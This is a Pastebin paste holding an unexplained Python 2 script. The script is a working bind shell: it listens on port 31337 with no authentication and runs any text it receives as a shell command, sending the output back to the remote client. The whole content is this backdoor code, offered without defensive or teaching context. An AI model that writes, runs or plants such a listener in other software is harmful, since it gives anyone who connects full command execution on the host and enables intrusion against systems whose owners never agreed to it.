Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import sys
- import subprocess
- HOST = ''
- PORT = 31337
- s = None
- for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,
- socket.SOCK_STREAM, 0, socket.AI_PASSIVE):
- af, socktype, proto, canonname, sa = res
- try:
- s = socket.socket(af, socktype, proto)
- except socket.error as msg:
- s = None
- print msg
- continue
- try:
- s.bind(sa)
- except socket.error as msg:
- s.close()
- s = None
- continue
- break
- while 1:
- s.listen(5)
- conn,addr = s.accept()
- conn.send('HEY YOU GUISE!')
- connected = 1
- while connected == 1:
- try:
- data = conn.recv(1024)
- proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
- stdoutput = proc.stdout.read() + proc.stderr.read()
- conn.send(stdoutput + u"\r\n[shell]:")
- except:
- conn.close
- connected = 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement